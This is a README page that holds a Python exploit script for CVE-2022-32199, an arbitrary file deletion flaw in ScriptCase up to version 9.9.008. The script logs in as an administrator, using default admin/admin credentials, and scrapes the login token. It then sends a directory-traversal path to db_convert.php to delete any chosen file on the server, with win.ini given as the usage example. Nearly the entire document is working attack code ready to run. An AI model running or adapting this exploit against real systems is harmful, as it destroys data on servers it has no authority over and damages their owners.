README.md
Rendering markdown...
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Exploit Title: ScriptCase <= 9.9.008 - Arbitrary File Deletion
#
# Exploit Author: Toxi4
# CVE: CVE-2022-32199
# Date: 2023/03/26
# Vulnerability discovered by Anton Kartunov
# Vendor Homepage: https://www.scriptcase.net
# Software Link: https://downloads.scriptcase.net/v9/packs/scriptcase_install_en_us_v9.9.008-php8.1.exe
# Version: <= 9.9.008
# Tested on: Windows7x64 - ScriptCase 9.9.008 - Arbitrary File Deletion
#
# ScriptCase <= 9.9.008 is vulnerable to
# Arbitrary File Deletion by an admin
# via a directory traversal sequence in the file parameter
#
# Usage example: python3 CVE-2022-32199.py -t 127.0.0.1 -u admin -p admin -path windows/win.ini
import requests
import argparse
import sys
import re
help = "ScriptCase <= 9.9.008 - Arbitrary File Deletion"
parser = argparse.ArgumentParser(description=help)
parser.add_argument("-t", "--target", help="Target IP", required=True)
parser.add_argument("-u", "--username", help="Username", default="admin")
parser.add_argument("-p", "--password", help="Password", default="admin")
parser.add_argument("-path", help="File to delete")
args = parser.parse_args()
host = args.target
username = args.username
password = args.password
path = args.path
basepath = "/scriptcase"
port = 8092 # Default Port
s = requests.Session()
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
def get_auth_token():
url = "http://{}:{}{}/devel/iface/login.php".format(host, port, basepath)
try:
get_token = s.get(url)
token = re.search('name="form_login" value="([\w\W]*?)"', str(get_token.content)).group(1)
return token
except Exception as e:
print("[-] Can't find token")
sys.exit(1)
def auth(token):
url = "http://{}:{}{}/devel/iface/login.php".format(host, port, basepath)
url2 = "http://{}:{}{}/devel/iface/login.php?rand=a35a0d78d62a011e".format(host, port, basepath)
data = "ajax=nm&option=login&field_user={USR}&field_pass={PASS}&form_login={TOKEN}&language=ru_ru&keep_logged=false".format(USR = username, PASS = password, TOKEN = token)
data2 = "field_user={USR}&field_pass={PASS}&form_login={TOKEN}&change_lang=ru_ru".format(USR = username, PASS = password, TOKEN = token)
try:
auth = s.post(url, data=data, headers = headers)
s.post(url2, data=data2, headers = headers)
print("[+] Authorization successful")
return 1
except Exception as e:
print("[-] Can't authorize")
sys.exit(2)
def AFD():
url = "http://{}:{}{}/devel/iface/db_convert.php".format(host, port, basepath)
data = "nm_ajax=1&nm_option=delete_upload_file&file=../../../../../../../../../../{PATH}".format(PATH = path)
try:
s.post(url, headers=headers, data=data)
print("[+] File {} successfuly deleted" .format(path))
except Exception as e:
print("[-] Can't delete selected file")
def main():
token = get_auth_token()
if auth(token):
AFD()
else:
print("[-] Can't authorize")
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print('Interrupted by users...')
except:
sys.exit()